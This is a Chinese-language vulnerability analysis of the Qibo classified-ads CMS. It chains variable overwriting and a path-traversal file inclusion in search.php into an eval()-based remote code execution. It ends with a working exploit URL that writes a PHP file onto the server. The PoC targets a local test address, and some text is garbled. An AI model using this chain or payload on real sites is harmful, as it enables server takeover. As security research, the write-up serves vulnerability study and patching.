1. 程式人生 > >齊博分類系統漏洞分析

齊博分類系統漏洞分析

tree 分析 oot 可控 插入數據 技術 arc sea title

0x01 漏洞利用知識點

1.代碼執行

2.變量覆蓋

3.文件包含

0x02 漏洞分析

首先在/fenlei1.0/do/jf.php文件中存在代碼執行片段

    $query2 = $db->query("SELECT * FROM {$pre}jfabout WHERE fid=‘$rs[fid]‘ ORDER BY list");
    while($rs2 = $db->fetch_array($query2)){
        eval("\$rs2[title]=\"$rs2[title]\";");
        eval("\$rs2[content]=\"$rs2[content]\";");
        
$jfDB[$rs[fid]][]=$rs2; }

追溯到數據庫表pre_jfabout中,分析數據庫表pre_jfabout中如果$rs2[title]和$rs2[content]可控,那麽就可能存在惡意代碼執行漏洞。

追溯數據庫表pre_jfabout,可以找到文件/fenlei1.0/hack/jfadmin/admin.php中:

elseif($action=="addjf"&&$Apower[jfadmin_mod])
{
    var_dump($Apower[jfadmin_mod]);
    $db->query("INSERT INTO `{$pre
}jfabout` ( `fid` , `title` , `content`, `list` ) VALUES ( ‘$fid‘, ‘$title‘, ‘$content‘, ‘$list‘ )"); jump("ìí?ó3é1?","index.php?lfj=jfadmin&job=listjf&fid=$fid",1); }

分析這段代碼,發現如果可以操縱action變量和覆蓋Apower[jfadmin_mod]變量就可以往數據表中插入惡意代碼,但是這個文件是不允許直接訪問傳遞變量參數的,他並不接受POST以及GET請求,因此想到是否存在文件包含漏洞,利用帶有接收GET或POST請求的頁面包含該文件,然後通過POST或者GET往漏洞頁面傳遞請求,從而可以把變量帶入該界面從而造成數據的插入,之後再訪問/fenlei1.0/do/jf.php文件,即可執行我們的惡意代碼。

而後審計得到在/search.php頁面存在文件包含漏洞,

$postdb[city_id]    &&    $city_id    =    $postdb[city_id];
$postdb[street_id]    &&    $street_id    =    $postdb[street_id];
$postdb[zone_id]    &&    $zone_id    =    $postdb[zone_id];

@include_once(ROOT_PATH."data/zone/$city_id.php");

因此整個遠程代碼執行漏洞便可實現。

0x03 漏洞利用

首先訪問/feilei1.0/search.php頁面,利用該頁面包含/fenlei1.0/hack/jfadmin/admin.php,之後往其中傳入相應的參數進行覆蓋出發插入數據函數,成功插入後,繼而訪問/fenlei1.0/do/jf.php頁面,執行遠程惡意代碼。

payload如下:

http://127.0.1.1/fenlei1.0/search.php?postdb[city_id]=../../hack/jfadmin/admin&action=addjf&Apower[jfadmin_mod]=1&fid=1&title=1&[email protected](fopen(%27x.php%27,%20%27w+%27),%27<?php phpinfo();?>%27)}&list=1

技術分享

齊博分類系統漏洞分析